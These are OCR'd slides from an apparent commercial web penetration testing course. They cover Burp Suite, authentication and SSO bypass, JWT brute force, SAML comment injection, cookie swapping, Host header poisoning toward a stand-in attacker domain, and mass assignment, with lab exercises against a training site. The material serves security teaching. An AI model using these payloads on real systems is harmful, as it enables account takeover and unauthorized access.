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Sanjay Gondaliya

9+ years of experience in Information Security

Consulting experience:
Large organizations across different sectors
network, system and application security

Specialize:
Mobile, Web App and Desktop App Security

GitHub Repositories Owner:
Blacklist3r

SerealizedPayloadGenerator
android_application_analyzer

Credits and Accolades:
LastPass, 1Password, Tesla, Intercom etc. for
finding bugs

Meet the expert

Sanjay Gondaliya

Senior Security Consultant
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Virtual Training Platform

* Mdbook Portal

e KaliVM

* Student Pack Zip

* MS Teams — Setup

e Zoom - (Support team not respond to zoom chat query)
* Mdbook — Exercise walkthrough

* MS Teams — Poll

* Progress Portal

NotSoSecure part of
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What you will learn

+
Q * How to identify and exploit advanced web
vulnerabillities (especially server-side flaws)

* Some neat and ridiculous web application
vulnerabilities found during our pentests
and in Bug Bounty programs



Targets for pwnage!

* http://topup.webhacklab.com * http://cms.webhacklab.com

* hittp://shop.webhacklab.com * http://admin.webhacklab.com

* http://mblog.webhacklab.com * http://slim.webhacklab.com

* http://misc.webhacklab.com * http://utility.webhacklab.com

* http://hc.webhacklab.com e http://cloud.webhacklab.com

* http://books.webhacklab.com * http://expense.webhacklab.com NotSoSecure part o

claranet
* http://cognito.webhacklab.com * http://reimbursement.webhacklab.com Ogé'zﬁ:ity
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Lab setup

Kali VM

O Credentials : Username: root Password: toor

O All the tools/scripts are present in the directory /root/tools/

O Note: Use the provided kali VM during this course as it has custom
configurations

VPN

O Follow the instructions in the “OVA_Import VPN _Setup_Guide.pdf” in the
Student Pack to connect to the VPN.

claranet
O Once connected, open http://topup.webhacklab.com in browser O gggﬁ:ity
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http://topup.webhacklab.com

Account creation

* Create your accounts using the registration forms:
O http://topup.webhacklab.com/Account/Register
O http://shop.webhacklab.com/register.php

O http://mblog.webhacklab.com/register

* The exercises reflect the real-life environment. Some of the hacks will
result in high privilege access and dumping of entire database.
Do not use personal or corporate email ID to register.

* Note: The lab requires valid email accounts as there will be emails sent
to these accounts during testing.
_ _ _ _ claranet
Also, during the exercises wherever you see ‘X' it means your user id cyber
Nz security
(e.g. for user132, ‘X’ means 132).
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Throwaway email service

* Use throwaway email to create a temporary email:
O https://www.mailinator.com
O http://en.getairmail.com
O https://temp-mail.org/en

O https://getnada.com
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Delegate agreement

Any abuse of these privileges beyond the stated aims will result in
automatic disqualification from the course;

Denial of service by dropping tables/databases
Shutting down the system
Interfering with other delegates’ work.

Please use business language for any content posted on any test
application.

Please do NOT use your own Credit Card details for any exercise.

Use random number and they should work for the specific exercise.

Out of Scope: 192.168.4.0/24, 192.168.5.0/24 range
and OnelLogin domains.

NotSoSecure part of
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@ | Syllabus modules

Burp Suite Primer

. Attacking Authentication and SSO

Password Reset Attacks

Business Logic Flaws / Authorization Flaws

: XML External Entity (XXE) Attacks

Breaking Crypto
Remote Code Execution (RCE)

8: SQL Injection Masterclass

9: Tricky File Upload

10: Server Side Request Forgery (SSRF)
11: Attacking the Cloud

12: CMS Pentesting

13: Web Cache Attacks

14: Miscellaneous Topics
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Module:

Burp Suite

What is Burp Suite and why is it important for
penetration testing?

Burp Suite - Basic features such as Proxy,
Repeater, Intruder, Decoder, Comparer etc.

Burp Suite - Advance features such as

Extender, Scanner, Sequencer, Collaborator,
Infiltrator etc.

Extensions such as Logger++, SAML Editor,
Java Serial Killer etc.



Burp Suite - Introduction

* Web application penetration testing tool developed in JAVA

* Also known as “Interception Proxy” tool

* Developed by “PortSwigger Ltd.”

* Available as Enterprise, Professional and Community versions
* Various features

O Basic - Proxy, Intruder, Repeater, Decoder and Comparer

O Advance - Scanner, Sequencer, Collaborator and Infiltrator

* Burp Suite is available for Linux, Mac, Windows based OS

NotSoSecure part of
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Burp Proxy

Burp Proxy is an intercepting proxy tool that can work as man-in-the-
middle between your web browser and target’s web server.

Request Request
Response Response
Browser Proxy Server
Firefox, Chrome, Burp Proxy Tool Target Web NotSoSecure part of
Internet Explorer, Application

Safari etc. claranet
@ cyber
security
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Burp Proxy

* Configure your browser to work with Burp
O Setup proxy listeners

O Import/export CA certificate

* Intercept and modify HTTP/HTTPS requests and WebSocket traffic

* Rule based match and replace in request/responses

* Response Modifications - Enable hidden fields, remove JavaScript
validations, remove all JavaScripts etc.

NotSoSecure part of
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Burp Proxy — Configure your browser for Burp

1. Navigate to options tab in proxy
2. Make user you are listing on 127.0.0.1:8080
3. Open FireFox

Connection Settings
a) Navigate to:
Preferences > Network Proxy >
Check Manual Proxy Configuration Configure Proxy Access to the Internet
No proxy
b) Add ‘HTTP Proxy’ as 127.0.0.1 Auto-detect proxy settings for this network
and ‘Port’ 8080 Use system proxy settings
® Manual proxy configuration
Cc) Check Use this proxy server HTTP Proxy | 127.0.0.1 Port 8080
fOI‘ a” prOtOCO|S Use this proxy server for all protocols
SSL Proxy Port 0
FTP Proxy Port 0
SOCKS Host Port 0
SOCKS v4 '@ 50CKS v5




Install Burp Certificate

To capture HTTPS based request we require to install burp certificate
1. Open http://burp
2. Download CA certificate

3. Open firefox

a) Navigate to Preferences > Privacy and Security >
Certificates > View Certificate > Authorities

b) Import the burp certificate

NotSoSecure part of
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Key features of Burp

* Repeater
* [ntruder
* Decoder

* Comparer

* Scanner

* Collaborator

* Extender

Burp Intruder Repeater Window Help

Comparer | Extender [ Project options

User options

| Alerts T

JSON Beautifier

|

JOSEPH

T SAML Raider Certificates

Target | Proxy | Spider |

Scanner

Intruder

Repeater

Sequencer

Decoder

Intercept ] HTTP history I WebSockets history ] Options ]




Burp Repeater

* Used for manipulating and reissuing individual requests and
analyze application’s responses

* Loads request from Burp’s any feature such as Proxy,
Intruder, Scanner etc.

* Burp Repeater Manages request history

* Provides options such as include automatic updation of the
Content-Length header, unpacking of compressed content
and the following of redirections

NotSoSecure part of
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Burp Decoder

Transforming data in one format to another - encode or decode

Smart decoding - Decoder will identify the encoding format and decode it

URL <IHello World@>

HTML <IHello World@>

Base64 <IHello World@>
ASCIlI Hex @ <!Hello World@>

Hex Hi, 1234567890
Octal Hi, 1234567890
Binary Hi, 1234567890

Gzip Hi, 1234567890

%3¢c%21%48%65%6c%6Cc%6f%20%57%6f%72%6Cc%64%
40%3e

EH#HX3C; &HX21; &HXA8: &H#XO5; &HXOC; &HXOC; &#XOT; &#xX20; &#HX
57:8#X6f &#XT 2 &H#X6C; &#X64: &#X40;&#x3e;

PCFIZWxsbyBXb3JsZEA+
3c2148656¢c6c6f20576f726c64403e

Hi, 499602d2

Hi, 11145401322

Hi, 1001001100101100000001011010010

<



Burp Decoder Improved - Extension

* Decoder Improved supports all of decoder's encoding,
decoding, and hashing modes. Decoder Improved can encode
and decode URL, HTML, Base64, ASCII Hex, GZIP, and zlib

Additionally, Decoder Improved can hash data using MD2,
MD5, SHA, SHA-224, SHA-256, SHA-384, and SHA-512.

NotSoSecure part of
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/ cyber
security
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Burp Collaborator

* A network service which helps to discover Blind vulnerabilities
such as SQL Injection, XML Injection, Cross-Site Scripting etc.

* Uses a specially crafted dedicated domain name and reports as
an issue such as External Service Interaction, SQL Injection etc.

Out of band
payloads

LY
\ 1}

Monitor &

External
Control

Interactions

NotSoSecure part of
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Burp Collaborator — Usage and Reports

* Usage: Example of specially crafted dedicated domain:
O {Random_subdomain}.burpcollaborator.net

— Detected in : Response/Content

* Reports:

O External Service Interaction

O Out-of-band resource load

o Blind SQL injection

HTTP

O Blind Cross-Site Scripting -

O XML Injection SMTP NotSoSecure part of
claranet

o Code Injection BURPCOLLABORATOR @cyber
security

O etc.

Reference :

https://portswigger.net/burp/documentation/collaborator © NotSoSecure 2021 Global
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Burp Suite Recommended Tools

* AuthMatrix/AuthZ/Autorize - Authorization checks

* Backslash Powered Scanner - Advanced payloads while active scanner
* Collaborator Everywhere - OOB requests

* Hackvertor — Advanced Encoder/Decoder

* Java Serial Killer - payload generation tool for Java object deserialization
* Handy Collaborator - OOB requests while manual test using Repeater

* HUNT Suite - Identify common parameters for known vulnerabilities

* J2EEScan - Scanner for Java based application

* Logger++ - Keeps logs of everything

* Protobuf Decoder - Protobuf protocol

NotSoSecure part of

* Retire.js - Check for outdated software pR——
* SAML Editor/SAML Encoder-Decoder/SAML Raider - SAML requests O cyber_t
* WSDLER/WSDL Wizard - Web service automation Sy
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Really ?

IILEARNED BURP SUITESO... |
GUESS,YOU CAN SAY

NotSoSecure part of
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12

Attacking
Authentication
and SSO

) Logical Bypass and Boundary Conditions
M Bypassing 2 Factor Authentication

Authentication Bypass using Subdomain
Takeover

JWT Brute Force Attack
M SAML Authorization Bypass

And relevant case studies



Authentication

* Authentication is the process of confirming a user's identity.

* Interms of web applications it is usually implemented through
user credentials and/or a secret pin.

@ & https://accounts.google.com e &) @ & https://accounts.google.com
i

Google Google
Welcome 2-Step Verification
e sudhanshu@notsosecure.com V. This extra step shows it's really you trying to sign in
©  sudhanshu@notsosecure.com v

2-Step Verification

A text message with a 6-digit verification code was just
SENt 1o seeses 2ee’ 29

Forgot password? m

G- Enter the code NOtsosecure part of

Remember this computer for 30 days w CIabra net
= cyber.
security

English (United States) ~ Help Privacy Terms Didn't get the code? RESEND IT

© NotSoSecure 2021 Global
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Basic Authentication Bypass

* Brute Force/Dictionary Attack:
Using a combination of known/guessed usernames and
commonly used passwords an attacker can automate login
attempts until successful

* SQL Injection:
Injecting a SQL based query suchas'OR 1=1 --to bypass
authentication

* Weak/Predictable Session ID:
If the session IDs are predictable, an attacker might be able to
generate valid IDs for other users NotSoSecure part of

claranet
/ cyber
security
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Login scenario

* Application authenticates users by asking random characters of
their password

* Observation: The location values are being validated based
upon the request sent from the client-side

O 192.168.0.103/smartlogin.html

(SN GE (O 192.168.0.103/smartlogin.html
[

Smart Login

Enter yout username:

NotSoSecure part of

: claranet
Enter the following characters of your password: cyber

3rd 5th 8th secu r|ty

Submit
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Attack scenario

e Attacker tampers the login request for another user and sets the
value of the location variables to same number
(e.g. 3rd, 3rd and 3rd character of password)
and iterates through all characters

“a-z,A-Z,0-9,~1@#$%"&*()_+-=[I\{}|;:",./[<>7?"
as the password character

* This allows the attacker to login just by knowing a single
character and its location in the user’s password

NotSoSecure part of
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Boundary Condition

« Bypass the login security feature to login
as user bcuserXx@webhacklab.com:

Challenge URL.:
http://shop.webhacklab.com/login.php

* Note:
There is an account lockout in place.
(Harder to bruteforce &)

Exercise




Case Study

Bypassing 2 Factor Authentication

« Facebook Password recovery URL

o https://www.facebook.com/login/identify?ctx=recover&lw
v=110& mref=message

o OTP of 6 characters will be sent to users
o Bruteforce was not possible to www.facebook.com

o However, beta.facebook.com and
mbasic.beta.facebook.com allowed to bruteforce!

895 154894 200 a (@] 42782
896 154895 200 8 g 42742
897 154896 200 o O | 42742
898 154897 200 )| )| 42820
154898 302 @ 11237

l Request I Respogse ]
I Raw I Params rHeaders
OST /recover/as/code/ HTTP/1.1

jHost: beta.facebook.com

jJUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS5 X 10.10; xv:37.0) Gecko/2010014l Firefox/37.
IAccept: text/html,application/xhtml4xml,application/xml;g=0.9,*/*;g=0.8
jAccept-Language: en-US,en;qg=0.5

JAccept-Encoding: gzip, deflate

JReferer: https://beta.facebook.com/recover/as/code/

fcookie: datr=620nvqOhwbhNjySHXf£807QQ; fr=0v3212Qg2fhICEDNv.AWUDC IDLAYXnUBRGC-IJoQrCeho.BHI2Y
x-referer=%2Fsettingsi2Fsecurity®2Fi3Fdeovice_based_logini26refidi3D72%23%2Fsettngss2Fsecurit
Ireg fb ref=httpsi3A32F32Fwww.facebook.comi2Fi3Fstypet301lo326jlout 3DAfEyGPonEzeg§qgarfTy9UL07d]
jo9ecHLhFFBzi-1t;
jreg_fb gate=httpzi3AR2F%2Fwww. facebook.comi2Fi3Fatypet3D1lot26jloui3DAffyCPonEzed3ggrfTyoU4074
JAc9eoHLhFF82i-1¢;
5 £fiu=AYiGPvOehlBM6is 1m3C3HIVAZShOmuo_503CG2pTmeXohodQKrP-YNQovbX4NBjIbH6RStutenfgYT2pKebSN jka
CiKVa7NUOJECT7ByIogRNm; wd=1440x734

jCconnection: close

jIContent-Type: application/x-www-form-urlencoded
IContent-Length: 21

lad=AVrvDZBegn=154898

Reference:
https://appsecure.security/blog/we-figured-out-a-way-to-hack-any-of-facebook-s-2-billion-
accounts-and-they-paid-us-a-15-000-bounty-for-it



Case Study

Auth Bypass via Subdomain Takeover

Subdomain takeover

o 3rd Party Services (Github/Zendesk/S3/cloudfront etc)
are generally integrated with organization by means of
redirected subdomains

O For this a CNAME entry is created pointing to 3rd party
domain usually a CDN subdomain

o If such a sub-domain is not claimed / expired /
cancelled an attacker can claim it

abc.example.com SNAME ynclaimedsubd.cloudfront.com

Reference:
https://hackerone.com/reports/172137



Case Study

Auth Bypass via Subdomain Takeover

Authentication Bypass on sso.ubnt.com via
Subdomain Takeover of ping.ubnt.com

* A subdomain (ping.ubnt.com) is pointing to the
CDN hostname (d2cnv2pop2xy4v.cloudfront.net.)
but has not been claimed yet.

* The Single-Sign-On (SSO) functionality sets the
cookie domain attribute as "domain=.ubnt.com".

Reference:
https://hackerone.com/reports/172137



Attack scenario

* The attacker claims the CDN hostname
d2cnv2Z2pop2xy4v.cloudfront.net. and hosts own application

* Alogged in user (*.ubnt.com) visits the subdomain ping.ubnt.com
(unknowingly or lured by attacker) and the session cookies are
transferred to and logged by d2cnv2pop2xy4v.cloudfront.net.
(owned by attacker).

* The attacker uses the session cookies to authenticate as victim user

NotSoSecure part of
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Token Hijacking Attack

Tokens are used by applications to maintain users’ sessions.
Attack Scenario:

* The application allows users to link self-hosted images in profile
and the session token is being sent in URL

* The attacker links an image in his account which is hosted on a
self-owned system

* When other users open the page to view this photo, a request is
made to the attacker owned system, with session token in URL

* The attacker logs these tokens and uses them to access accounts
of other users

NotSoSecure part of
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Token Hijacking Attack

Attacker hosts an
image on own server

User session token in URL is
transmitted to the attacker server

e o gt User visits e O

Attacker links the Lo attacker’s profile

image in public profile o _ NotSoSecure part of
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Modern Authentication and Authorization Methods

There are multiple authentication/authorization mechanisms which provide
Single-Sign-On (SSO) and similar features for sharing access with multiple
applications

e JSON Web Tokens (JWT):RFC7519:
A compact mechanism used for transferring claims between two parties

* Security Assertion Markup Language (SAML):RFC7522:
An XML based single sign-on login standard

* OAuth:RFC6749:
Access delegation framework, usually used for providing application
access to other applications without password sharing. OAuth 2.0 is not
an authentication protocol

NotSoSecure part of
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JWT Basics

e JSON Web Token (JWT) are generally represented as JSON objects
and can be signed to protect the integrity of the underlying message
using a Message Authentication Code (MAC) and/or encrypted

* A JWT consists of three parts; an encoded Header, an encoded
Payload and the Signature

Encoded
PAYLOAD
Claims: Reserved
Public
Private

Encoded
HEADER

typ
alg

NotSoSecure part of
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JWT Issues

* Weak secret key

* Integrity of the token has already been verified (None algorithm)
* Improper token storage (HTMLS5 storage/cookie)

* Faulty token expiry

* Sensitive data stored in the payload

NotSoSecure part of
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Attack scenario

- - Encoded PASTE A TOKEN HERE Decoded EDIT THE PAYLOAD AND SECRET (ONLY HS256 SUPPORTED
* The signature contains a o
: eyJBeXAi01JKV1QiLCJIhbGCi01JIUZITNIIG ey 1

Secret key WhICh Can be bmlxdWVfbmFtZSI6InN1bmlseSIsInVzZXJfaWQi0 L.
iTxNjUBTiwidXN1c19zZWNyZXQi0iIxNjUBTiwidX B

brute forced N1c191bWFpbCI6InN1bm1sQG5vdHNvC2YjdXJ1LmN }
vbSIsInJvbGUi0iJTaXR1IFZpc218b3TilCJ1eHAL

PAYLOAD: DATA

0jE@BNFE3NjM3MzMsIm5iZiI6MTQ2MTc2MTkzM30. s
COgVx__fVSTONAHWNVLGhiWAnelL T3VESBM_9JdzTK-

* Ifaweakkey is used, the * e
attacker can use a script to ;T
brute-force and identify this
secret key quickly and use it
to generate further valid
tokens for other high

privilege users (e.g. admin)

NotSoSecure part of
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JWT Brute Force Attack

« Login to the “topup” application using your
registered account to generate the access token

« Brute-force the secret key for the JWT

« Generate a valid token for user
“iwtuserX@webhacklab.com” and access all the

ExerC | Se order detalls

Challenge URL.:
http:/topup.webhacklab.com/Account/Login




Security Assertion Markup Language (SAML)

* |In SAML based authentication the user provides credentials at a
login interface, based on which the identity provider provides (IDP) a
SAML response containing assertions with NamelD attributes
containing user information and signed message in XML

* The XML document (base64 encoded) is further passed on to the
service the user needs to access. The service provider (SP)
validates the provided XML and allows access to user based on the

validity

NotSoSecure part of
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SAML Workflow

Service Provider User Agent Identity Provider
1 Request target resource
R (Discover the 1dP)
2 Redirect to SSO Service
3 Request SSO Service
Identify the user
PN (Identif, y the user) ) R
4 Respond with XHTML form
5 Request Assertion Consumer Service
Redirect to target resource J
6 NotSoSecure part of
. Request target resource claranet
) cyber
8 Respond with requested resource secu rity
v L 4

© NotSoSecure 2021 Global
Services Ltd, all rights reserved

Reference:
https://upload.wikimedia.org/wikipedia/en/0/04/Saml2-browser-sso-redirect-post.png




SAML Response

<samlp:Response Destination="http://topup.webhacklab.com/"
ID="Rcee5defe55ac8cld1lf41966ddldedd1fdaa26bbl™
InResponseTo="_4c%e3718-7cBe-4ce7-bbo8-196203246482"
Issuelnstant="2018-04-12T@6:31:16Z" Version="2.0"
xmlns:saml="urn:oasis:names:tc:SAML:2.8:assertion” xmlns:samlp="urn:oasis:names:tc:SAML:2.8:protocol">
<saml:Issuer>https://app.onelogin.com/saml/metadata/771448</saml:Issuer>
<samlp:Status>
<samlp:StatusCode Value="urn:oasis:names:tc:SAML:2.0:status:Success"/>
</samlp:Status>
<saml:Assertion ID="pfx6627ea50-5e65-f823-d424-5e5a7b@5b823"
IssueInstant="2018-04-12T06:31:16Z" Version="2.@"
xmlns:saml="urn:oasis:names:tc:SAML:2.0@:assertion"
xmlns:xs="http://www.w3.0rg/2001/XMLSchema"” xmlns:xsi="http://www.w3.0org/2001/XMLSchema-instance">
<saml:Issuer>https://app.onelogin.com/saml/metadata/771448</saml:Issuer>
kds:Signature...>...</ds:Signature>]
<saml:Subject>
<saml:NameID Format="urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress">sunil@notsosecure.com</saml:NameID>
<saml:SubjectConfirmation Method="urn:oasis:names:tc:SAML:2.@:cm:bearer">
<saml:SubjectConfirmationData
InResponseTo="_4c9e3718-7cBe-4ce7-bbo8-196203246482"
NotOnOrAfter="2018-04-12T06:34:16Z" Recipient="http://topup.webhacklab.com/"/>
</saml:SubjectConfirmation> S ———
</saml:Subject> claranet
<saml:Conditions NotBefore="2018-04-12T706:2" NotOnOrAfter="2018-084-12T06:3">...</saml:Conditions>] Cyber
<saml:AuthnStatement AuthnInstant="2018-84-12T@6:3" SessionIndex="_05d5ed40-2049-" SessionNotOnOrAfter="2018-84-13T06 5;(3(:l]rit)’
</saml:Assertion>
</samlp:Response>

NotSoSecure part of
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SAML Authorization Bypass: Scenario 1

* A user can tamper the SAML response further send to the service
provider (step 5 in SAML Workflow) and replace the values of the
assertions released by IDP such as username/email

* A weak SAML implementation would not verify the signature and
thus allow an attacker to access the account of another user

NotSoSecure part of
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SAML Authorization Bypass: Scenario 2

SAML authorization bypass by exploiting cryptographic signing and XML
parsing issue:

Service Provider validates the SAML response (XML Signature) to
identify the user

Canonicalization engine ignores comments and whitespaces while
creating a signature

The XML parser returns the last child node

NotSoSecure part of
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XML Canonicalization

* An XML canonicalization transform is employed while signing the
XML document to produce the identical signature for logically or
semantically similar documents.

<saml:NameID Format="urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress">
notsosecure <!-- this is a comment -->user@webhacklab.com
</saml:NameID>

<saml:NameID Format="urn:oasis:names:tc:SAML:1.1l:nameid-format:emailAddress">
notsosecureuser@webhacklab.com
</saml:NameID>

Reference:
https://developer.okta.com/blog/2018/02/27/a-breakdown-of-the-new-saml-authentication-bypass-vulnerability#cryptographic-signing-issues



XML Parsing

XML parsing issues

<saml:NameID Format="urn:oasis:names:tc:SAML:1.1:nameid-format:emailAddress">
notsosecure <!-- this is a comment -->user@webhacklab.com
</saml:NameID>

An XML parser might parse it into three components:
* text: notsosecure
e comment: <!-- this is a comment -->

* text: user@webhacklab.com

NotSoSecure part of

This might allow you to access the account of the user ‘user@webhacklab.com’, O claranet

cyber

instead of the user ‘notsosecureuser@webhacklab.com’ if the XML parser security

returns the last child node
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SAML Authorization Bypass

« Login as user “not-a-john@webhacklab.com”.
 Decode the SAML data into XML format.

* Exploit SAML XML to login as user
‘jiohn@webhacklab.com”.

Challenge URL.:
http:/topup.webhacklab.com/saml/SAML.aspx

Demo

Note: Do not perform any testing on one login
domains, as that is out of scope.



Case Study

Bypassing 2FA by OAuth Misconfiguration

« Application supports login with password and OTP

« OTP is an AMR(Authentication Method Reference)
value

« Multiple AMR values are available

« Each ‘AMR’ value provides an identifier for a family
of related authentication methods

« Application only focuses on whether OTP is
entered and does not check AMR type

« ‘SMS’ AMR is similar to ‘OTP’ AMR

« Researcher changes the AMR to ‘'sms’ instead of
‘otp

« Application asks for a new mobile number

« OTP sent on new number

e Successful bypass

Reference:
https://lyoust.in/posts/bypassing-2fa-using-openid-misconfiguration/
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Password Reset Attacks

Password Reset or Forgot Password are application functionalities
which allow users to retrieve/reset the password of their account in case
they have forgotten their password or believe that their password has
been compromised.

Applications implement different mechanisms for this purpose such as:
* Send password reset link

* Send new password in email

* Allow user to reset password after providing OTP or answering
secret question(s)
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claranet
/ cyber
security

© NotSoSecure 2021 Global
Services Ltd, all rights reserved




Password Recovery Logic

Forgot Password

rﬂ

Password reset link sent to email ID Answer security question

claranet
w cyber
security

Password reset successful




Cookie Swap

Password reset functionality which ask the user to provide answer(s) to
security question(s) usually work based upon the ‘sessionid’ cookie.

This cookie is used to manage the complete password reset session
for the user. Three steps of the process are:

* User provides the email address and a session cookie
IS set by the server

* The user is then presented with secret questions

* If correct answers are provided for the secret questions,
user can set new password

NotSoSecure part of
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Cookie Swap by Answering Secret Question

192.168.0.103/forgotpass/forgotl.l X ~(

() 192.168.0.103/forgotpass/forgot1.htmi|

Forgot Password

Username

Submit

Enter Username to reset password

192.168.0.103/forgotpass/forgotd

O 192.168.0.103/forgotpass/forgot3.html

Set new password

Reset Password

Password

Enter username

(L 192.168.0.103/1org

tpass/forgot2.htm e Q

Repeat Password

Submit

Enter new password

Secret Questions

Question 1: Place of Birth
Question 2: Mother’'s Maiden Name
Question 3: First Pet

Subemit

Enter answers to secret questions to reset

password

Answer

Secret Questions

192168 0.0 forgotpesiieuccen: . X +’

£ 192,168.0103 ooty

Password Successfully changed for the
user

New password set

NotSoSecure part of
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Attack Scenario

In cases where the session cookie setup and validation is not managed
appropriately, a user can reset the password of another user

To perform this attack, the malicious user will go through following
steps:

* Initiate a password reset request for own account by providing the
username

* Answer the secret guestions for own account and reach the
password reset page

NotSoSecure part of
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Attack Scenario

In another browser instance initiating password reset for another
user and making a note of the sessionid set for this password reset
session

Moving back to the previous instance (setting new password for
own account) and swapping own sessionid with the sessionid of
another user (noted in previous step)

The password is now set for another user and the attacker can login
Into that account
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Cookie Swap lllustration

192.168.0.103/forgotpass/forgotd > -(

192.168.0.103/forgotpass/forgotl > '( 192.168.0.103/forgotpass/forgot?

) 1921 68.0.103Iforgotpass/lorgol1.htmi O 192.168.0.103/forgotpass/forgot3. html

Forgot Password »

Username Question 2: Mother’s Maiden Name

Secret Questions Reset Password

Question 1: Place of Birth

Password

Repeat Password

Question 3: First Pet

Submit
Submit

Subemit
Enter Username to reset password

Enter new password
Enter answers to secret questions to reset password

Own account password reset Answer Secret Questions

Switch cookie
with the one
captured in Step 4

Capture session cookie

Victim account password reset

. —— ¥
| Meaders | Mex
192.168.0.103/forgotpass/forgot1. 1 X -{ Jhl | : 192.168.0.10Wfoyotpess/muccens .
a— FPI2/1.0 301 Toved Persaseatly ’ @ 192.168.0.103 Iorgotpass/success himl
() 192.168.0.103/forgotpass/forgot1.htmi| Date: Thu, OF Fed 2009 15:12: M O ~

Cosoection: Lesp-alive

Serveti AT
Forgot Password » Cache-Costroli as-store, BDo-ceche

Cottant-Trpe: text ‘Mal
Costect-lasgsnge: oo
L-Traae-0ptione: SAMRORICIN
Srrict-Trangansy Rl A aanr Lol
et -Cochin 147 )
P-Feb-2008 1513 0)

Password Successfully changed for the
user

Username

Submit

aspirenfey,
"damveleite.com
Locatioar Metpei/ ‘vww . vaiowebsite . oon forgetl.deal
Costest-Lesgtt: |

Enter Username to reset password

o T




Cookie Swap

« Change password of the user
“csuserX@webhacklab.com” through forgot
password functionality:

Challenge URL.:
http:/topup.webhacklab.com/Account/Forgot
Password

Exercise




Case Study

Token abuse

Assessing The Forget Password Functionality

- Attack Scenarios:

« Check if the token is predictable (cryptographically insecure)
* Check if the token is one time use only

A few more tests (is it over SSL or HTTP etc)

* Check that you cannot use the token of one user to reset the
password of another user. You may try to generate a link:

Password reset tokens:

» http://host/resetpass.php?email=userl@notsosecure.com
&token=caealf6lee90al35d1bbla0ddc37b115

» http://host/resetpass.php?email=user2@notsosecure.com
&token=caealf6lee90al35d1bbla0ddc37b115 (It only
worked, if user2 has initiated password reset request)

Reference:
https://www.notsosecure.com/penetration-testing-the-art-or-the-science/



Other Common Password Reset Falils

There are multiple other scenarios where password reset functionality
can be abused by an attacker:

* The password reset token does not expire after single usage. On a
shared machine a user can go through the browser history and
misuse the password reset link of other user(s)

* Logical DoS: Lock out other users by sending password reset
requests for their account

* Predictable token or no-rate limiting allowing token brute-force

NotSoSecure part of
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Abusing HTTP Host Header

HTTP Host header is used occasionally by application to create URLSs.
Abuse Scenarios:

* Password reset links if generated using Host header can result in
token leakage to third party

* If an intermediate proxy is caching server responses it can be
poisoned in similar manner
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Host Header Validation

To prevent this, applications implement host header validation. In
situation where this validation is not done with caution, it can still be
abused to perform the same attack, through following steps:

* Attacker initiates a password reset request for another user and
tampers the Host header ‘example.com’ to ‘attackerdomain.com

J

* This fails as the application is validating the domain name

NotSoSecure part of
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Host Header Validation Bypass

* The attacker further tampers the request with the Host header value
‘attackerdomain.com/example.com’, this succeeds and sends an
email to the victim user with the link:

‘http://attackerdomain.com/example.com/passwordresettoken=abcl
234329inbhuijnhbgvbhn’

* Once the user opens this link, the attacker can log the
‘passwordresettoken’ and reset the password of the user

NotSoSecure part of
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Host Header Validation Bypass

Host: example.com

POST /passwordreset.php BTTP/l.1

Bost: example.com

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: */*

A t-L : en-05,en;g=0.5 . .
Acoept-Encoding: gaip, defiate https://example.com/uid
Ref : https:// le. /

Csozri:f IDE=§;WqTE:T?SY:Ug;ngTQDeXOeDU_erkDRthAj2—KyfchetSleeOW6V24p :abcxy2123@|98765A

Connection: c¢lose
Content-Length: 19

username=victimuser

Host: attackerdomain.com

POST /passwordreset.php BTTE/1l.1

Host: attackerdomain.com

User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0
Accept: */%

Accept-Language: en-05,en;q=0.5

Accept-Encoding: gzip, deflate - -
Refeger: https?//gxaﬁple.com/ NO emall ||nk
Cookie: IDE=AHWYTUn-5HYR08TOJjTQDeX0eDU_QurkDRtJghj2-KyfcjhetSYvieOWeV24p
Connection: close

Content-Length: 19 i —

username=victimuser

Host: attackerdomain.com/example.com

NotSoSecure part of

POST /passwordreset.php BTTP/1.1

Host: attackerdomain.com/example.com

User-BAgent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:56.0) Gecko/20100101 Firefox/56.0 Claranet
Accept: */*

Accept-Language: en-0S,en;g=0.5 . H yb
Accept-Encoding: gzip, deflate httDS//example.COm/lJld c er

Ref : https:// le. / —_ .t
Cookie: IDE=ZPL;E-IQTE:??3Y:Ugggl.]'jTQDe)‘.OeDU_erkDRthAj2—Kyfcj.’—;et$3'vle0W6'v‘24p —abcxy2123@'98765A securl y

Connection: close
Content-Length: 19

© NotSoSecure 2021 Global
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https://example.com/uid
https://example.com/uid

Host Header Validation Bypass

« Bypass host header validation to perform
header poisoning for your account

« Capture the password reset token

« Change the password of the account using the
captured token:

Challenge URL.:
" http://topup.webhacklab.com/Account/
ExerCISe ForgotPassword

 Note: Use an account with valid email address
to receive the reset link.
Use attacker.com as attacker owned domain
to receive the token
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Business Logic Flaws

Modern applications have complex process flows to perform various
functions such as buying products, making a financial transaction
etc.

A business logic issue occurs when a legitimate flow of functionality
IS manipulated or misused in a way which could lead to an adverse
effect on the business function
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Authorization Flaws

* The concept of authorization is to allow access to the resource that
the user has permissions for

* Authorization flaws occur when a user can manipulate requests to
access resources out of their permission range
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Mass Assignment

* Binding HTTP request parameters to update the model or object
directly could lead to Mass Assignment (Autobinding) vulnerability

* Various names per web framework:

Mass Assignment (Ruby on Rails, NodeJS);

Autobinding (Spring/ASP.NET MVC);

Object injection (PHP)

public class User

{

public
public
public
public
public
public

Guid UserID { get; set; }
string Username { get; set; }
bool isAdmin { get; set; }
string FirstName { get; set; }
string LastName { get; set; }
string Address { get; set; }

NotSoSecure part of
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Mass Assignment

» Escalate privilege from a bronze user to a gold
user through profile update to avail additional
discount:

Challenge URL.:
http:/topup.webhacklab.com/api/user

Exercise




Invite/Promo Code Bypass

* |nvite/Promo Codes are essential in customer focused business
* Code generation logic is the key focus area

* (Generation Logic can include combination of encoding, encryption,
hashing

* If attacker can understand the Code generation logic or perform
bruteforce over validation API they can make profit
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Invite/Promo Code Bypass

« |dentify the promo code generation mechanism
for O2 Mobile

« Brute-force and identify valid secret promo codes
to get maximum discount on recharge (greater
than 50%):

EX@fClse Challenge URL.:
http:/topup.webhacklab.com/Shop/Topup




Replay Attack

* When interacting with 3rd party applications (e.g. payment
gateway), usually applications combine certain sensitive data into
an encrypted blob, which is decrypted and validated by the 3rd
party

* An attacker can replay a previously valid data blob and pay less for
items with higher cost, in cases where the price and item value is
not cross validated by the 3rd party service

